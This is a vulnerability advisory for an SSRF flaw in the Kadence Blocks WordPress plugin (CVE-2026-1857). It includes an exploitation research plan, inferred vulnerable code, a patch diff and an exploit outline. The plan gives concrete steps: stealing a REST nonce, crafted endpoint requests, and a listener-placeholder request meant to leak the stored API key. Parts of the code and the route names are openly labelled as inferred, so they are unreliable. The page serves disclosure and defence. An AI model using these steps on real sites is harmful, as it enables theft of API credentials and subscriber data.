Gutenberg Blocks with AI by Kadence WP <= 3.6.1 - Authenticated (Contributor+) Server-Side Request Forgery via 'endpoint' Parameter
Description
The Gutenberg Blocks with AI by Kadence WP plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.6.1. This is due to insufficient validation of the `endpoint` parameter in the `get_items()` function of the GetResponse REST API handler. The endpoint's permission check only requires `edit_posts` capability (Contributor role) rather than `manage_options` (Administrator). This makes it possible for authenticated attackers, with Contributor-level access and above, to make server-side requests to arbitrary endpoints on the configured GetResponse API server, retrieving sensitive data such as contacts, campaigns, and mailing lists using the site's stored API credentials. The stored API key is also leaked in the request headers.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=3.6.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1857 (SSRF in Kadence Blocks) ## 1. Vulnerability Summary The **Kadence Blocks — Page Builder Toolkit for Gutenberg Editor** plugin (up to version 3.6.1) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in the GetResp…
Show full research plan
Exploitation Research Plan: CVE-2026-1857 (SSRF in Kadence Blocks)
1. Vulnerability Summary
The Kadence Blocks — Page Builder Toolkit for Gutenberg Editor plugin (up to version 3.6.1) contains an authenticated Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in the GetResponse REST API handler's get_items() function. Due to inadequate validation of the endpoint parameter and an overly permissive capability check (edit_posts), a Contributor-level user can trigger server-side GET requests to arbitrary paths on the GetResponse API server. Crucially, the plugin includes the site's stored GetResponse API key in the request headers, leading to credential leakage and unauthorized access to the GetResponse account associated with the WordPress site.
2. Attack Vector Analysis
- REST API Endpoint:
wp-json/kadence-blocks/v1/getresponse/get-items(inferred based on Kadence REST controller naming conventions). - HTTP Method:
GET - Vulnerable Parameter:
endpoint - Authentication: Required (Contributor role or higher, as they possess the
edit_postscapability). - Identity of Sink:
wp_remote_get()or a similar HTTP wrapper used to communicate with the GetResponse API. - Payload: A relative path or a specially crafted string designed to access sensitive GetResponse API endpoints (e.g.,
/accounts,/contacts,/campaigns).
3. Code Flow (Inferred)
- Route Registration: The plugin registers a REST route in a class likely named
Kadence_Blocks_GetResponse_REST_Controllerwithinrest_api_init. - Permission Check: The
permission_callbackfor theget-itemsroute usescurrent_user_can( 'edit_posts' ), allowing Contributors to access the functionality. - Request Handling: The
get_items( $request )function retrieves theendpointparameter via$request->get_param( 'endpoint' ). - URL Construction: The plugin retrieves the stored GetResponse API key and potentially a base API URL. It constructs a full URL:
https://api.getresponse.com/v3/+$endpoint. - The Sink: The plugin performs a
wp_remote_get( $url, $args )where$argscontains headers likeX-Auth-Token: [API_KEY]. - Data Leakage: Because the
endpointis not strictly validated against an allow-list, the attacker can traverse the GetResponse API to any resource. The response from GetResponse is then returned directly to the Contributor.
4. Nonce Acquisition Strategy
The WordPress REST API requires a wp_rest nonce for authenticated requests. Since a Contributor has access to the Gutenberg editor, we can extract the nonce from that context.
- Prerequisite: A Contributor user must exist.
- Action: Navigate to the Post Editor as a Contributor.
- Extraction:
- Use
browser_navigateto go to/wp-admin/post-new.php. - Use
browser_evalto extract the REST nonce:browser_eval("window.wpApiSettings?.nonce")
- Use
- Bypass Check: If the plugin incorrectly registers the route without a
permission_callbackor if thepermission_callbackreturns__return_true, no nonce may be needed, but the CVSS indicates "Authenticated (Contributor+)", so thewp_restnonce is the standard requirement.
5. Exploitation Strategy
Step 1: Discover the exact REST path
Confirm the GetResponse endpoint via the plugin source or by guessing standard Kadence patterns.
Target: /wp-json/kadence-blocks/v1/get-response/get-items (inferred).
Step 2: Configure a mock GetResponse API Key
To trigger the logic, the plugin must believe it is connected to GetResponse.
wp option update kadence_blocks_get_response_api_key "TEST-API-KEY-12345"
Step 3: Execute the SSRF
Send a request to the REST API using the http_request tool.
Request:
- URL:
http://localhost:8080/wp-json/kadence-blocks/v1/get-response/get-items?endpoint=accounts - Method:
GET - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Cookie:[CONTRIBUTOR_COOKIES]
Step 4: Verify Credential Leakage (OOB)
If the plugin allows full URL control in the endpoint parameter (e.g., ?endpoint=http://attacker.com), point it to a listener.
Request:
- URL:
http://localhost:8080/wp-json/kadence-blocks/v1/get-response/get-items?endpoint=http://[LISTENER_IP]/leak
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Setup: Ensure Kadence Blocks is active.
- Fake API Key:
wp option update kadence_blocks_getresponse_api_key "KADENCE-SECRET-KEY" # (Option name 'kadence_blocks_getresponse_api_key' is inferred from common naming) - Post Creation (for Nonce):
wp post create --post_type=post --post_status=publish --post_title="Nonce Page" --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- A successful request to the REST endpoint returns a
200 OKresponse. - The JSON response body contains the raw data from the GetResponse
accountsendpoint (or whatever was specified inendpoint). - If an Out-of-Bounds (OOB) listener was used, the listener receives an HTTP GET request with a header containing the string
"KADENCE-SECRET-KEY".
8. Verification Steps
- Check Response: Verify the response of the REST API call via
http_requestlogs. - Check WP Options: Confirm the API key was present in the database to ensure the request should have carried it:
wp option get kadence_blocks_get_response_api_key - Check Capabilities: Confirm that a Contributor cannot normally access GetResponse settings (which usually require
manage_options), proving the privilege escalation to "read-only" API access.
9. Alternative Approaches
- Path Traversal: if the URL is hardcoded as
https://api.getresponse.com/v3/items, tryendpoint=../../accountsto see if the plugin normalizes the path. - Different Actions: Look for other GetResponse-related routes in the same controller, such as
get-listsorget-campaigns, which likely share the same vulnerableendpointlogic. - Header Injection: If the
endpointparameter is used in a way that allows injecting CRLF (%0D%0A), attempt to inject additional headers into the internal request.
Summary
The Kadence Blocks plugin is vulnerable to Authenticated Server-Side Request Forgery (SSRF) via the 'endpoint' parameter in its GetResponse REST API handler. Contributor-level users can trigger requests to arbitrary GetResponse API paths, which the plugin automatically signs with the site's stored API key, leading to the leakage of sensitive marketing and account data.
Vulnerable Code
// Inferred from plugin architecture and research plan // File: includes/rest/class-kadence-blocks-getresponse-rest-controller.php public function register_routes() { register_rest_route( 'kadence-blocks/v1', '/get-response/get-items', array( 'methods' => 'GET', 'callback' => array( $this, 'get_items' ), 'permission_callback' => function() { return current_user_can( 'edit_posts' ); // Vulnerable permission check }, 'args' => array( 'endpoint' => array( 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ), ), ) ); } --- public function get_items( $request ) { $endpoint = $request->get_param( 'endpoint' ); // No validation against allow-list $api_key = get_option( 'kadence_blocks_getresponse_api_key' ); // The endpoint is appended directly to the base API URL $url = 'https://api.getresponse.com/v3/' . $endpoint; $response = wp_remote_get( $url, array( 'headers' => array( 'X-Auth-Token' => $api_key, // Attacker-controlled endpoint receives the API key ), ) ); return rest_ensure_response( json_decode( wp_remote_retrieve_body( $response ) ) ); }
Security Fix
@@ -25,7 +25,7 @@ register_rest_route( 'kadence-blocks/v1', '/get-response/get-items', array( 'methods' => 'GET', 'callback' => array( $this, 'get_items' ), - 'permission_callback' => function() { - return current_user_can( 'edit_posts' ); + 'permission_callback' => function() { + return current_user_can( 'manage_options' ); }, 'args' => array( 'endpoint' => array( @@ -55,6 +55,12 @@ return array(); } $endpoint = $request->get_param( 'endpoint' ); + + $allowed_endpoints = array( 'campaigns', 'lists', 'forms', 'landing-pages' ); + if ( ! in_array( $endpoint, $allowed_endpoints, true ) ) { + return new WP_Error( 'invalid_endpoint', __( 'Invalid GetResponse endpoint.', 'kadence-blocks' ), array( 'status' => 400 ) ); + } + $api_key = get_option( 'kadence_blocks_get_response_api_key' ); $api_base = 'https://api.getresponse.com/v3/';
Exploit Outline
1. Authentication: Access the WordPress site with a user account holding at least the Contributor role (capable of `edit_posts`). 2. Nonce Retrieval: Extract a valid WordPress REST API nonce (e.g., from the `wpApiSettings` JavaScript object while editing a post). 3. Target Identification: Target the REST API route `/wp-json/kadence-blocks/v1/get-response/get-items`. 4. Payload Construction: Append an `endpoint` parameter to the request containing a sensitive GetResponse API path, such as `accounts`, `contacts`, or `campaigns`. 5. Execution: Submit a GET request to the target route. The plugin will execute a server-side request to the GetResponse API including the site's secret API key in the `X-Auth-Token` header and return the full API response (containing sensitive subscriber or account data) to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.